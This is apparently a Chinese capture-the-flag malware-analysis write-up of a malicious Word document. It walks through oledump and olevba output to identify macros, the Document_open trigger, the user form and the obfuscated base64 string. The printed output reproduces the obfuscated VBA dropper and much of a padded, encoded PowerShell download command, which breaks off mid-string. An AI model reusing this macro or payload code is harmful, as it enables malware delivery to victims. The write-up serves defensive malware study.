MalDoc 这里我进行分析的是一个sample.bin文件,题目中甩给我九个问题,分别是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 此文档中包含多个宏,请提供编号最高的宏的编号。 宏的执行是通过哪个事件开始的? 这个恶意文档试图投放的是哪种恶意软件家族? 哪个流负责存储 base64 编码的字符串? 本文档包含一个用户窗体。请提供窗体名称。 本文档包含一个经过混淆处理的 Base64 编码字符串;用于填充(或混淆)此字符串的值是什么? Base64编码字符串执行的是什么程序? 用于创建启动木马进程的 WMI 类是什么? 多个域名被尝试下载木马程序。请根据提示提供第一个完全限定域名 (FQDN)。
这一题首先一开始要对于这个文件进行一个分析:
1 2 PS D:\programCTF\malware\51-maldoc101\temp_extract_dir\MalDoc101> file sample.bin sample.bin: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jul 22 23:12:00 2020, Last Saved Time/Date: Wed Jul 22 23:12:00 2020, Number of Pages: 1, Number of Words: 3, Number of Characters: 21, Security: 0
该命令显示该文件Composite Document File V2为 CFB 格式文件。输出结果提供了重要的元数据,包括创建该文件的操作系统、上次保存的日期和时间以及应用程序版本。这些信息有助于判断文档的来源以及是否已被修改。所以下一步就用oledump.py对于这个文件进行一个分析:
M请注意,和m指标之间的主要区别oledump在于它们所代表的宏观内容类型:
M(大写 M): attributes此指示符表示包含带有 &和 & 宏的流compressed VBA code。需要解压缩压缩代码才能分析宏的功能,而这些功能通常涉及恶意意图。& 的存在M通常表示流中包含通过压缩隐藏的可执行宏内容。
**m(小写字母 m):**此指示符表示包含宏但不包含实际宏代码的流attributes。这些流可能包含与宏环境相关的元数据或描述符,但不包含任何功能性或可执行的 VBA 内容。
所以根据逻辑,第一题的答案就是:
16
然后我是用了olevba这个工具,olevba可以把它理解成:专门用来“拆 Office 文档里的 VBA 宏代码”的分析工具。
然后我:
python3 olevba.py sample.bin
分析完很长很长,就直接找关键的地方: (第一次搞这个,我把整个的分析全部列出来)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 FILE: sample.bin Type: OLE \------------------------------------------------------------------------------- VBA MACRO diakzouxchouz.cls in file: sample.bin - OLE stream: 'Macros/VBA/diakzouxchouz' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Private Sub \_ Document\_open() boaxvoebxiotqueb End Sub \------------------------------------------------------------------------------- VBA MACRO roubhaol.frm in file: sample.bin - OLE stream: 'Macros/VBA/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) \------------------------------------------------------------------------------- VBA MACRO govwiahtoozfaid.bas in file: sample.bin - OLE stream: 'Macros/VBA/govwiahtoozfaid' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Function boaxvoebxiotqueb() gooykadheoj = Chr(roubhaol.Zoom + Int(5 \* 3)) Dim c7ÓATOQe2Ëj As Integer c7ÓATOQe2Ëj = 6 Do While c7ÓATOQe2Ëj < 6 + 2 c7ÓATOQe2Ëj = c7ÓATOQe2Ëj + 5: DoEvents Loop haothkoebtheil = "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqw2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqm2342772g3&\*gs7712ffvs626fqgm2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqt2342772g3&\*gs7712ffvs626fq" + gooykadheoj + "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fq\:w2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq322342772g3&\*gs7712ffvs626fq\_2342772g3&\*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&\*gs7712ffvs626fqr2342772g3&\*gs7712ffvs626fqo2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqc2342772g3&\*gs7712ffvs626fqes2342772g3&\*gs7712ffvs626fqs2342772g3&\*gs7712ffvs626fq" Dim t0Á7ÖVhC As String t0Á7ÖVhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf") deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil) Dim aboKTWBmOV As Variant Set tiajriokchaoy = CreateObject(deulsaocthuul) Dim Li2ÚJ8âfUTJJ As Boolean deaknaugthein = roubhaol.kaizseah.ControlTipText Dim Wmuaj As String Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6Ý") giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein Dim lgiLh7Ë As Object queegthaen = giakfeiw + roubhaol.joefwoefcheaw Dim FZV4ÇKPQ As Integer FZV4ÇKPQ = 4 Do While FZV4ÇKPQ < 4 + 5 FZV4ÇKPQ = FZV4ÇKPQ + 3: DoEvents Loop Set deavjoajsear = luumlaud(queegthaen) Dim kRpYwyW As String kRpYwyW = Replace$("f4åL5åJqZNvlk", "f4åL5åJ", "TFRkfTygd") xve = Array \_ ("1234444123", tiajriokchaoy. \_ Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723") Dim C0ÄjVh As Integer C0ÄjVh = 9 Do While C0ÄjVh < 9 + 1 C0ÄjVh = C0ÄjVh + 1: DoEvents Loop End Function Function juuvzouchmiopxeox(yiajthoavheiw) geutyoeytiestheug = yiajthoavheiw Dim QSuRcu As Currency feaxgeip = Split(geutyoeytiestheug, "2342772g3&\*gs7712ffvs626fq") Dim J1Â8ÀXwEwAd As String J1Â8ÀXwEwAd = Replace$("UBZIWrn7ÆJAPVmt", "UBZI", "hsvq") jaquhoiqu = csqw + Join(feaxgeip, eihnx) Dim gBv As Object juuvzouchmiopxeox = jaquhoiqu Dim lqsqsHrCH As Boolean End Function Function geulgelquuuj() sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText Dim ISXQDR As Integer ISXQDR = 2 Do While ISXQDR < 2 + 7 ISXQDR = ISXQDR + 9: DoEvents Loop geulgelquuuj = juuvzouchmiopxeox(sjiqw) Dim kbqvO4Ä7Çr As Byte End Function Function luumlaud(zeolkaepxoag) Set luumlaud = CreateObject(zeolkaepxoag) Dim vPu As String vPu = Replace$("BenqV1áigVwifwdQq", "BenqV1ái", "on5Â") luumlaud \_ . \_ showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij) Dim osWIUnikOk As String osWIUnikOk = Replace$("cLwhWVLMDSQFh3ÔT7É", "cLwhWVLMDS", "AvYXNNS") End Function \------------------------------------------------------------------------------- VBA MACRO VBA\_P-code.txt in file: VBA P-code - OLE stream: 'VBA P-code' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' Processing file: sample.bin ' =============================================================================== ' Module streams: ' Macros/VBA/diakzouxchouz - 1367 bytes ' Line #0: ' LineCont 0x0004 02 00 00 00 ' FuncDefn (Sub diakzouxchouz()) ' Line #1: ' ArgsCall Document\_open 0x0000 ' Line #2: ' EndSub ' Line #3: ' Macros/VBA/roubhaol - 1187 bytes ' Macros/VBA/govwiahtoozfaid - 5705 bytes ' Line #0: ' FuncDefn (Function Document\_open()) ' Line #1: ' Ld roubhaol ' MemLd Chr ' LitDI2 0x0005 ' LitDI2 0x0003 ' Mul ' FnInt ' Add ' ArgsLd gooykadheoj 0x0001 ' St govwiahtoozfaid ' Line #2: ' Dim ' VarDefn Zoom (As Integer) ' Line #3: ' LitDI2 0x0006 ' St Zoom ' Line #4: ' Ld Zoom ' LitDI2 0x0006 ' LitDI2 0x0002 ' Add ' Lt ' DoWhile ' Line #5: ' Ld Zoom ' LitDI2 0x0005 ' Add ' St Zoom ' BoS 0x0000 ' ArgsCall DoEvents 0x0000 ' Line #6: ' Loop ' Line #7: ' LitStr 0x010B "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqw2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqm2342772g3&\*gs7712ffvs626fqgm2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqt2342772g3&\*gs7712ffvs626fq" ' Ld govwiahtoozfaid ' Add ' LitStr 0x00BD "2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fq\:w2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqin2342772g3&\*gs7712ffvs626fq322342772g3&\*gs7712ffvs626fq\_2342772g3&\*gs7712ffvs626fq" ' Add ' Ld roubhaol ' MemLd haothkoebtheil ' Add ' LitStr 0x00BC "2342772g3&\*gs7712ffvs626fqr2342772g3&\*gs7712ffvs626fqo2342772g3&\*gs7712ffvs626fq2342772g3&\*gs7712ffvs626fqc2342772g3&\*gs7712ffvs626fqes2342772g3&\*gs7712ffvs626fqs2342772g3&\*gs7712ffvs626fq" ' Add ' St c7ÓATOQe2Ëj ' Line #8: ' Dim ' VarDefn joefwoefcheaw (As String) ' Line #9: ' LitStr 0x0009 "NrsGblssw" ' LitStr 0x0006 "NrsGbl" ' LitStr 0x0005 "jeSyf" ' ArgsLd t0Á7ÖVhC$ 0x0003 ' St joefwoefcheaw ' Line #10: ' Ld c7ÓATOQe2Ëj ' ArgsLd deulsaocthuul 0x0001 ' St Replace ' Line #11: ' Dim ' VarDefn juuvzouchmiopxeox (As Variant) ' Line #12: ' SetStmt ' Ld Replace ' ArgsLd tiajriokchaoy 0x0001 ' Set aboKTWBmOV ' Line #13: ' Dim ' VarDefn CreateObject (As Boolean) ' Line #14: ' Ld roubhaol ' MemLd deaknaugthein ' MemLd ControlTipText ' St Li2ÚJ8âfUTJJ ' Line #15: ' Dim ' VarDefn kaizseah (As String) ' Line #16: ' LitStr 0x0012 "LqdFaWZRoPXoybkSqY" ' LitStr 0x000A "LqdFaWZRoP" ' LitStr 0x0006 "nIEI6Ý" ' ArgsLd t0Á7ÖVhC$ 0x0003 ' St kaizseah ' Line #17: ' Ld Replace ' Ld govwiahtoozfaid ' Add ' Ld roubhaol ' MemLd giakfeiw ' MemLd ControlTipText ' Add ' Ld Li2ÚJ8âfUTJJ ' Add ' St Wmuaj ' Line #18: ' Dim ' VarDefn paerwagyouqumeid (As Object) ' Line #19: ' Ld Wmuaj ' Ld roubhaol ' MemLd haothkoebtheil ' Add ' St lgiLh7Ë ' Line #20: ' Dim ' VarDefn queegthaen (As Integer) ' Line #21: ' LitDI2 0x0004 ' St queegthaen ' Line #22: ' Ld queegthaen ' LitDI2 0x0004 ' LitDI2 0x0005 ' Add ' Lt ' DoWhile ' Line #23: ' Ld queegthaen ' LitDI2 0x0003 ' Add ' St queegthaen ' BoS 0x0000 ' ArgsCall DoEvents 0x0000 ' Line #24: ' Loop ' Line #25: ' SetStmt ' Ld lgiLh7Ë ' ArgsLd deavjoajsear 0x0001 ' Set FZV4ÇKPQ ' Line #26: ' Dim ' VarDefn luumlaud (As String) ' Line #27: ' LitStr 0x000D "f4åL5åJqZNvlk" ' LitStr 0x0007 "f4åL5åJ" ' LitStr 0x0009 "TFRkfTygd" ' ArgsLd t0Á7ÖVhC$ 0x0003 ' St luumlaud ' Line #28: ' LineCont 0x0008 03 00 00 00 08 00 00 00 ' LitStr 0x000A "1234444123" ' Ld Create ' Ld geulgelquuuj ' Ld FZV4ÇKPQ ' Ld aboKTWBmOV ' ArgsMemLd xve 0x0003 ' LitStr 0x0007 "9938723" ' ArgsArray Array 0x0003 ' St kRpYwyW ' Line #29: ' Dim ' VarDefn kaenhaig (As Integer) ' Line #30: ' LitDI2 0x0009 ' St kaenhaig ' Line #31: ' Ld kaenhaig ' LitDI2 0x0009 ' LitDI2 0x0001 ' Add ' Lt ' DoWhile ' Line #32: ' Ld kaenhaig ' LitDI2 0x0001 ' Add ' St kaenhaig ' BoS 0x0000 ' ArgsCall DoEvents 0x0000 ' Line #33: ' Loop ' Line #34: ' EndFunc ' Line #35: ' FuncDefn (Function deulsaocthuul(C0ÄjVh)) ' Line #36: ' Ld C0ÄjVh ' St yiajthoavheiw ' Line #37: ' Dim ' VarDefn geutyoeytiestheug (As Currency) ' Line #38: ' Ld yiajthoavheiw ' LitStr 0x001A "2342772g3&\*gs7712ffvs626fq" ' ArgsLd feaxgeip 0x0002 ' St QSuRcu ' Line #39: ' Dim ' VarDefn Split (As String) ' Line #40: ' LitStr 0x000F "UBZIWrn7ÆJAPVmt" ' LitStr 0x0004 "UBZI" ' LitStr 0x0004 "hsvq" ' ArgsLd t0Á7ÖVhC$ 0x0003 ' St Split ' Line #41: ' Ld jaquhoiqu ' Ld QSuRcu ' Ld Join ' ArgsLd csqw 0x0002 ' Add ' St J1Â8ÀXwEwAd ' Line #42: ' Dim ' VarDefn eihnx (As Object) ' Line #43: ' Ld J1Â8ÀXwEwAd ' St deulsaocthuul ' Line #44: ' Dim ' VarDefn gBv (As Boolean) ' Line #45: ' EndFunc ' Line #46: ' FuncDefn (Function Create()) ' Line #47: ' LitDI2 0x000A ' LitDI2 0x000A ' Div ' Ld roubhaol ' MemLd gaoddaicsauktheb ' ArgsMemLd Pages 0x0001 ' MemLd ControlTipText ' St lqsqsHrCH ' Line #48: ' Dim ' VarDefn sjiqw (As Integer) ' Line #49: ' LitDI2 0x0002 ' St sjiqw ' Line #50: ' Ld sjiqw ' LitDI2 0x0002 ' LitDI2 0x0007 ' Add ' Lt ' DoWhile ' Line #51: ' Ld sjiqw ' LitDI2 0x0009 ' Add ' St sjiqw ' BoS 0x0000 ' ArgsCall DoEvents 0x0000 ' Line #52: ' Loop ' Line #53: ' Ld lqsqsHrCH ' ArgsLd deulsaocthuul 0x0001 ' St Create ' Line #54: ' Dim ' VarDefn ISXQDR (As Byte) ' Line #55: ' EndFunc ' Line #56: ' FuncDefn (Function deavjoajsear(kbqvO4Ä7Çr)) ' Line #57: ' SetStmt ' Ld kbqvO4Ä7Çr ' ArgsLd tiajriokchaoy 0x0001 ' Set deavjoajsear ' Line #58: ' Dim ' VarDefn zeolkaepxoag (As String) ' Line #59: ' LitStr 0x0011 "BenqV1áigVwifwdQq" ' LitStr 0x0008 "BenqV1ái" ' LitStr 0x0004 "on5Â" ' ArgsLd t0Á7ÖVhC$ 0x0003 ' St zeolkaepxoag ' Line #60: ' LineCont 0x0008 01 00 00 00 02 00 00 00 ' Ld showwindow ' Ld mujgoiy ' Add ' Paren ' Ld jioyseertioch ' Ld neivberziok ' Add ' Paren ' Add ' Ld deavjoajsear ' MemSt vPu ' Line #61: ' Dim ' VarDefn xuajroegquoudcaij (As String) ' Line #62: ' LitStr 0x0012 "cLwhWVLMDSQFh3ÔT7É" ' LitStr 0x000A "cLwhWVLMDS" ' LitStr 0x0007 "AvYXNNS" ' ArgsLd t0Á7ÖVhC$ 0x0003 ' St xuajroegquoudcaij ' Line #63: ' EndFunc ' Line #64: \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - joopxof \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - caorfauxleir \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - foewdaibzian \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - yoewcheuypouc \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - duuhfeupniwboha \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - �Page1O3G \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - �Page2O3G \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - �p2342772g3&\*gs7712ffvs626fqo2342772g3&\*gs7712ffvs626fqw2342772g3&\*gs7712ffvs626fqe2342772g3&\*gs7712ffvs626fqr2342772g3&\*gs7712ffvs626fqs2342772g3&\*gs7712ffvs626fqh2342772g3&\*gs7712ffvs626fqeL2342772g3&\*gs7712ffvs626fqL2342772g3&\*gs7712ffvs626fq 2342772g3&\*gs7712ffvs626fq-2342772g3&\*gs7712ffvs626fqe2342772g3&\*gs7712ffvs626fq JABsAG2342772g3&\*gs7712ffvs626fqkAZQBj2342772g3&\*gs7712ffvs626fqAGgAcg2342772g3&\*gs7712ffvs626fqBvAHUA2342772g3&\*gs7712ffvs626fqaAB3AH2342772g3&\*gs7712ffvs626fqUAdwA92342772g3&\*gs7712ffvs626fqACcAdg2342772g3&\*gs7712ffvs626fqB1AGEA2342772g3&\*gs7712ffvs626fqYwBkAG2342772g3&\*gs7712ffvs626fq8AdQB22342772g3&\*gs7712ffvs626fqAGMAaQ2342772g3&\*gs7712ffvs626fqBvAHgA2342772g3&\*gs7712ffvs626fqaABhAG2342772g3&\*gs7712ffvs626fq8AbAAn2342772g3&\*gs7712ffvs626fqADsAWw2342772g3&\*gs7712ffvs626fqBOAGUA2342772g3&\*gs7712ffvs626fqdAAuAF2342772g3&\*gs7712ffvs626fqMAZQBy2342772g3&\*gs7712ffvs626fqAHYAaQ2342772g3&\*gs7712ffvs626fqBjAGUA2342772g3&\*gs7712ffvs626fqUABvAG2342772g3&\*gs7712ffvs626fqkAbgB02342772g3&\*gs7712ffvs626fqAE0AYQ2342772g3&\*gs7712ffvs626fqBuAGEA2342772g3&\*gs7712ffvs626fqZwBlAH2342772g3&\*gs7712ffvs626fqIAXQA62342772g3&\*gs7712ffvs626fqADoAIg2342772g3&\*gs7712ffvs626fqBTAEUA2342772g3&\*gs7712ffvs626fqYABjAH2342772g3&\*gs7712ffvs626fqUAUgBp2342772g3&\*gs7712ffvs626fqAFQAeQ2342772g3&\*gs7712ffvs626fqBgAFAA2342772g3&\*gs7712ffvs626fqUgBPAG2342772g3&\*gs7712ffvs626fqAAVABv2342772g3&\*gs7712ffvs626fqAEMAYA2342772g3&\*gs7712ffvs626fqBvAGwA2342772g3&\*gs7712ffvs626fqIgAgAD2342772g3&\*gs7712ffvs626fq0AIAAn2342772g3&\*gs7712ffvs626fqAHQAbA2342772g3&\*gs7712ffvs626fqBzADEA2342772g3&\*gs7712ffvs626fqMgAsAC2342772g3&\*gs7712ffvs626fqAAdABs2342772g3&\*gs7712ffvs626fqAHMAMQ2342772g3&\*gs7712ffvs626fqAxACwA2342772g3&\*gs7712ffvs626fqIAB0AG2342772g3&\*gs7712ffvs626fqwAcwAn2342772g3&\*gs7712ffvs626fqADsAJA2342772g3&\*gs7712ffvs626fqBkAGUA2342772g3&\*gs7712ffvs626fqaQBjAG2342772g3&\*gs7712ffvs626fqgAYgBl2342772g3&\*gs7712ffvs626fqAHUAZA2342772g3&\*gs7712ffvs626fqByAGUA2342772g3&\*gs7712ffvs626fqaQByAC2342772g3&\*gs7712ffvs626fqAAPQAg2342772g3&\*gs7712ffvs626fqACcAMw2342772g3&\*gs7712ffvs626fqAzADcA2342772g3&\*gs7712ffvs626fqJwA7AC2342772g3&\*gs7712ffvs626fqQAcQB12342772g3&\*gs7712ffvs626fqAG8AYQ2342772g3&\*gs7712ffvs626fqBkAGcA2342772g3&\*gs7712ffvs626fqbwBpAG2342772g3&\*gs7712ffvs626fqoAdgBl2342772g3&\*gs7712ffvs626fqAHUAbQ2342772g3&\*gs7712ffvs626fqA9ACcA2342772g3&\*gs7712ffvs626fqZAB1AH2342772g3&\*gs7712ffvs626fqUAdgBt2342772g3&\*gs7712ffvs626fqAG8AZQ2342772g3&\*gs7712ffvs626fqB6AGgA2342772g3&\*gs7712ffvs626fqYQBpAH2342772g3&\*gs7712ffvs626fqQAZwBv2342772g3&\*gs7712ffvs626fqAGgAJw2342772g3&\*gs7712ffvs626fqA7ACQA2342772g3&\*gs7712ffvs626fqdABvAG2342772g3&\*gs7712ffvs626fqUAaABm2342772g3&\*gs7712ffvs626fqAGUAdA2342772g3&\*gs7712ffvs626fqBoAHgA2342772g3&\*gs7712ffvs626fqbwBoAG2342772g3&\*gs7712ffvs626fqIAYQBl2342772g3&\*gs7712ffvs626fqAHkAPQ2342772g3&\*gs7712ffvs626fqAkAGUA2342772g3&\*gs7712ffvs626fqbgB2AD2342772g3&\*gs7712ffvs626fqoAdQBz2342772g3&\*gs7712ffvs626fqAGUAcg2342772g3&\*gs7712ffvs626fqBwAHIA2342772g3&\*gs7712ffvs626fqbwBmAG2342772g3&\*gs7712ffvs626fqkAbABl2342772g3&\*gs7712ffvs626fqACsAJw2342772g3&\*gs7712ffvs626fqBcACcA2342772g3&\*gs7712ffvs626fqKwAkAG2342772g3&\*gs7712ffvs626fqQAZQBp2342772g3&\*gs7712ffvs626fqAGMAaA2342772g3&\*gs7712ffvs626fqBiAGUA2342772g3&\*gs7712ffvs626fqdQBkAH2342772g3&\*gs7712ffvs626fqIAZQBp2342772g3&\*gs7712ffvs626fqAHIAKw2342772g3&\*gs7712ffvs626fqAnAC4A2342772g3&\*gs7712ffvs626fqZQB4AG2342772g3&\*gs7712ffvs626fqUAJwA72342772g3&\*gs7712ffvs626fqACQAcw2342772g3&\*gs7712ffvs626fqBpAGUA2342772g3&\*gs7712ffvs626fqbgB0AG2342772g3&\*gs7712ffvs626fqUAZQBk2342772g3&\*gs7712ffvs626fqAD0AJw2342772g3&\*gs7712ffvs626fqBxAHUA2342772g3&\*gs7712ffvs626fqYQBpAG2342772g3&\*gs7712ffvs626fq4AcQB12342772g3&\*gs7712ffvs626fqAGEAYw2342772g3&\*gs7712ffvs626fqBoAGwA2342772g3&\*gs7712ffvs626fqbwBhAH2342772g3&\*gs7712ffvs626fqoAJwA72342772g3&\*gs7712ffvs626fqACQAcg2342772g3&\*gs7712ffvs626fqBlAHUA2342772g3&\*gs7712ffvs626fqcwB0AG2342772g3&\*gs7712ffvs626fqgAbwBh2342772g3&\*gs7712ffvs626fqAHMAPQ2342772g3&\*gs7712ffvs626fqAuACgA2342772g3&\*gs7712ffvs626fqJwBuAC2342772g3&\*gs7712ffvs626fqcAKwAn2342772g3&\*gs7712ffvs626fqAGUAdw2342772g3&\*gs7712ffvs626fqAtAG8A2342772g3&\*gs7712ffvs626fqYgAnAC2342772g3&\*gs7712ffvs626fqsAJwBq2342772g3&\*gs7712ffvs626fqAGUAYw2342772g3&\*gs7712ffvs626fqB0ACcA2342772g3&\*gs7712ffvs626fqKQAgAG2342772g3&\*gs7712ffvs626fq4ARQB02342772g3&\*gs7712ffvs626fqAC4Adw2342772g3&\*gs7712ffvs626fqBlAEIA2342772g3&\*gs7712ffvs626fqYwBsAE2342772g3&\*gs7712ffvs626fqkAZQBu2342772g3&\*gs7712ffvs626fqAFQAOw2342772g3&\*gs7712ffvs626fqAkAGoA2342772g3&\*gs7712ffvs626fqYQBjAG2342772g3&\*gs7712ffvs626fqwAZQBl2342772g3&\*gs7712ffvs626fqAHcAeQ2342772g3&\*gs7712ffvs626fqBpAHEA2342772g3&\*gs7712ffvs626fqdQA9AC2342772g3&\*gs7712ffvs626fqcAaAB02342772g3&\*gs7712ffvs626fqAHQAcA2342772g3&\*gs7712ffvs626fqBzADoA2342772g3&\*gs7712ffvs626fqLwAvAG2342772g3&\*gs7712ffvs626fqgAYQBv2342772g3&\*gs7712ffvs626fqAHEAdQ2342772g3&\*gs7712ffvs626fqBuAGsA2342772g3&\*gs7712ffvs626fqbwBuAG2342772g3&\*gs7712ffvs626fqcALgBj2342772g3&\*gs7712ffvs626fqAG8AbQ2342772g3&\*gs7712ffvs626fqAvAGIA2342772g3&\*gs7712ffvs626fqbgAvAH2342772g3&\*gs7712ffvs626fqMAOQB32342772g3&\*gs7712ffvs626fqADQAdA2342772g3&\*gs7712ffvs626fqBnAGMA2342772g3&\*gs7712ffvs626fqagBsAF2342772g3&\*gs7712ffvs626fq8AZgA22342772g3&\*gs7712ffvs626fqADYANg2342772g3&\*gs7712ffvs626fqA5AHUA2342772g3&\*gs7712ffvs626fqZwB1AF2342772g3&\*gs7712ffvs626fq8AdwA02342772g3&\*gs7712ffvs626fqAGIAag2342772g3&\*gs7712ffvs626fqAvACoA2342772g3&\*gs7712ffvs626fqaAB0AH2342772g3&\*gs7712ffvs626fqQAcABz2342772g3&\*gs7712ffvs626fqADoALw2342772g3&\*gs7712ffvs626fqAvAHcA2342772g3&\*gs7712ffvs626fqdwB3AC2342772g3&\*gs7712ffvs626fq4AdABl2342772g3&\*gs7712ffvs626fqAGMAaA2342772g3&\*gs7712ffvs626fqB0AHIA2342772g3&\*gs7712ffvs626fqYQB2AG2342772g3&\*gs7712ffvs626fqUAbAAu2342772g3&\*gs7712ffvs626fqAGUAdg2342772g3&\*gs7712ffvs626fqBlAG4A2342772g3&\*gs7712ffvs626fqdABzAC2342772g3&\*gs7712ffvs626fq8AaQBu2342772g3&\*gs7712ffvs626fqAGYAbw2342772g3&\*gs7712ffvs626fqByAG0A2342772g3&\*gs7712ffvs626fqYQB0AG2342772g3&\*gs7712ffvs626fqkAbwBu2342772g3&\*gs7712ffvs626fqAGwALw2342772g3&\*gs7712ffvs626fqA4AGwA2342772g3&\*gs7712ffvs626fqcwBqAG2342772g3&\*gs7712ffvs626fqgAcgBs2342772g3&\*gs7712ffvs626fqADYAbg2342772g3&\*gs7712ffvs626fqBuAGsA2342772g3&\*gs7712ffvs626fqdwBnAH2342772g3&\*gs7712ffvs626fqkAegBz2342772g3&\*gs7712ffvs626fqAHUAZA2342772g3&\*gs7712ffvs626fqB6AGEA2342772g3&\*gs7712ffvs626fqbQBfAG2342772g3&\*gs7712ffvs626fqgAMwB32342772g3&\*gs7712ffvs626fqAG4AZw2342772g3&\*gs7712ffvs626fqBfAGEA2342772g3&\*gs7712ffvs626fqNgB2AD2342772g3&\*gs7712ffvs626fqUALwAq2342772g3&\*gs7712ffvs626fqAGgAdA2342772g3&\*gs7712ffvs626fqB0AHAA2342772g3&\*gs7712ffvs626fqOgAvAC2342772g3&\*gs7712ffvs626fq8AZABp2342772g3&\*gs7712ffvs626fqAGcAaQ2342772g3&\*gs7712ffvs626fqB3AGUA2342772g3&\*gs7712ffvs626fqYgBtAG2342772g3&\*gs7712ffvs626fqEAcgBr2342772g3&\*gs7712ffvs626fqAGUAdA2342772g3&\*gs7712ffvs626fqBpAG4A2342772g3&\*gs7712ffvs626fqZwAuAG2342772g3&\*gs7712ffvs626fqMAbwBt2342772g3&\*gs7712ffvs626fqAC8Adw2342772g3&\*gs7712ffvs626fqBwAC0A2342772g3&\*gs7712ffvs626fqYQBkAG2342772g3&\*gs7712ffvs626fq0AaQBu2342772g3&\*gs7712ffvs626fqAC8ANw2342772g3&\*gs7712ffvs626fqAyAHQA2342772g3&\*gs7712ffvs626fqMABqAG2342772g3&\*gs7712ffvs626fqoAaABt2342772g3&\*gs7712ffvs626fqAHYANw2342772g3&\*gs7712ffvs626fqB0AGE